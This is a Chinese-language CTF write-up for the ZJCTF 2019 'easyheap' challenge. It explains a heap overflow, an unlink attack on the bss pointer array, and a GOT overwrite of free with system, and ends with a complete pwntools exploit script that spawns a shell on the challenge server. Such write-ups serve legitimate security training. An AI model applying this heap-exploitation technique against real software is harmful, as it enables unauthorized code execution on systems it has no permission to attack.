这题只有add,edit,delete三个主体部分,没有show的部分
create_heap函数,chunk的指针保存在bss段的heaparray数组处
edit_heap函数,注意这里输入的数据长度是可以自己设置的,就可以随意溢出了
delete_heap函数
除此之外,还有这样一个l33t函数:
在程序中,你只要满足一定的条件,是可以运行这个函数的,我猜测在[ZJCTF 2019]比赛进行的时候可能这个函数是可以利用的,但现在在buu上面是用不了的,flag文件的目录不对。不过,这个system函数我们可以利用
这里我利用的是unlink
add(0x100,'aaaa')
add(0x20,'bbbb')
add(0x80,'cccc')
创建三个chunk
payload=p64(0)+p64(0x21)+p64(ptr-0x18)+p64(ptr-0x10)
payload+=p64(0x20)+p64(0x90)
edit(1,len(payload),payload)
布置好fake chunk的数据,修改chunk2的头部,ptr是chunk1指针的存放地址
delete(2)
unlink,实现对bss段heaparray数组处数据的控制
payload=p64(0)+p64(0)+p64(free_got)
payload+=p64(ptr-0x18)+p64(ptr+0x10)+"/bin/sh"
edit(1,len(payload),payload)
edit(0,8,p64(system_plt))
delete(2)
修改chunk0的指针为free_got,向bss段写入"/bin/sh",修改chunk2指针为指向"/bin/sh"的指针,然后编辑chunk0,因为chunk0指针已经被改成free_got了,这时修改的就是free_got,把其修改为system函数的plt地址
这时候执行free(chunk2)的操作时,就都相当于执行system("/bin/sh")
这题我在做完之后去看了下别人的wp,发现好多人用的都是house of spirit技术,控制fast bin里的指针,在bss段heaparray数组附近伪造一个fake chunk,从而控制heaparray处的数据
我的完整exp:
from pwn import *
sh=remote("node3.buuoj.cn",26189)
elf=ELF("./easyheap")
free_got=elf.got['free']
system_plt=elf.plt['system']
context.log_level='debug'
ptr=0x6020e8
def add(size,content):
sh.recvuntil("Your choice :")
sh.sendline('1')
sh.recvuntil("Size of Heap : ")
sh.sendline(str(size))
sh.recvuntil("Content of heap:")
sh.sendline(content)
def edit(idx, size, content):
sh.recvuntil("Your choice :")
sh.sendline('2')
sh.recvuntil("Index :")
sh.sendline(str(idx))
sh.recvuntil("Size of Heap : ")
sh.sendline(str(size))
sh.recvuntil("Content of heap : ")
sh.sendline(content)
def delete(idx):
sh.recvuntil("Your choice :")
sh.sendline('3')
sh.recvuntil("Index :")
sh.sendline(str(idx))
add(0x100,'aaaa')
add(0x20,'bbbb')
add(0x80,'cccc')
payload=p64(0)+p64(0x21)+p64(ptr-0x18)+p64(ptr-0x10)
payload+=p64(0x20)+p64(0x90)
edit(1,len(payload),payload)
delete(2)
payload=p64(0)+p64(0)+p64(free_got)
payload+=p64(ptr-0x18)+p64(ptr+0x10)+"/bin/sh"
edit(1,len(payload),payload)
edit(0,8,p64(system_plt))
delete(2)
sh.interactive()